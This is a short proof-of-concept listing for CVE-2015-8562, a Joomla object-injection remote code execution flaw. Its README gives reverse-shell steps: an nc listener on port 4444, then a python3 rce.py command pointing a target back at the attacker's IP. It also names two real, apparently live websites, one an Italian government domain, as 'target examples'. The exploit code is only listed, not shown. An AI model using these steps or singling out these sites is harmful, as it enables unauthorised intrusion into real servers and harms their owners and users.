CVE-2015-8562 PoC — Joomla! Core 远程代码执行漏洞

Source

Associated Vulnerability

Description

Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header

Readme

# CVE-2015-8562 - Reverse shell python

Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header:

    Vuln Date: 12/17/2015
    Exploit Author: anarc0der
    Version: Joomla 1.5 to 3.4.5
    CVE : CVE-2015-8562

How to:
    
    Open one terminal and listen with nc: $ nc -lnvp 4444
    Open another terminal and execute the exploit:
    python3 rce.py --target='target' --ip='ip' --port=4444
    
Targets examples PoC (Do not fuck them, to other people use as exemple):
    
    http://www.monitoraggiograduatorie.gov.it/
    http://budo-aykac.nl/

File Snapshot

 [4.0K]  /data/pocs/9d627158e879b935a85858079b5da6cc81575bc4
├── [6.3K]  rce.py
└── [ 565]  README.md

0 directories, 2 files

Remarks